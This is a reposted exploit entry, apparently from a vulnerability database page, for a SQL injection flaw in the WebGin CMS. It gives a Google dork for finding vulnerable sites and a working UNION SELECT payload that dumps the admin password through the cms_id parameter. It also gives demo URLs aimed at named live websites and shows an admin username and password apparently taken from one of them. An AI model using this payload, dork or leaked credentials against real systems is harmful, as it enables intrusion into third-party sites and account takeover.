Vulners
Lucene search
WebGin SQL Injection Vulnerability
# Title: Powered by WebGin SQL Injection Vulnerability
# Google Dork: Powered by WebGin /- Or/ inurl:Powered by WebGin
# [email protected]
# Author: Hacker alajman
# software:Powered by WebGin
# Software: Link: http://www.webgin.it/
#Version:
######################################################
Powered by WebGin SQL Injection Vulnerability
cms.php?cms_id=
http://www.site.com/folder/cms.php?cms_id=-999999.9 union all select 0x31303235343830303536,(select concat(0x7e,0x27,unhex(Hex(cast(tbl_energyca_admin.adminPword as char))),0x27,0x7e) from `Sql351573_1`.tbl_energyca_admin Order by adminName limit 0,1) ,0x31303235343830303536,0x31303235343830303536--
-999999.9 union all select 0x31303235343830303536,(select concat(0x7e,0x27,unhex(Hex(cast(tbl_energyca_admin.adminPword as char))),0x27,0x7e) from `Sql351573_1`.tbl_energyca_admin Order by adminName limit 0,1) ,0x31303235343830303536,0x31303235343830303536--
Demo
http://www.energyca.it/cms.php?cms_id=-999999.9 union all select 0x31303235343830303536,(select concat(0x7e,0x27,unhex(Hex(cast(tbl_energyca_admin.adminPword as char))),0x27,0x7e) from `Sql351573_1`.tbl_energyca_admin Order by adminName limit 0,1) ,0x31303235343830303536,0x31303235343830303536--
Username: EnYadmin10
Password: 1025480056
http://www.working-process.com/cms.php?cms_id=-999999.9 union all select 0x31303235343830303536,(select concat(0x7e,0x27,unhex(Hex(cast(tbl_energyca_admin.adminPword as char))),0x27,0x7e) from `Sql351573_1`.tbl_energyca_admin Order by adminName limit 0,1) ,0x31303235343830303536,0x31303235343830303536--
http://www.working-process.com/cms.php?cms_id='
########################
#########Greetz: Hacker alajman / AnGer Hacker / G-B /RAB3OUN/#########
# 0day.today [2018-01-05] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
14 Oct 2012 00:00Current
7.1High risk
Vulners AI Score7.1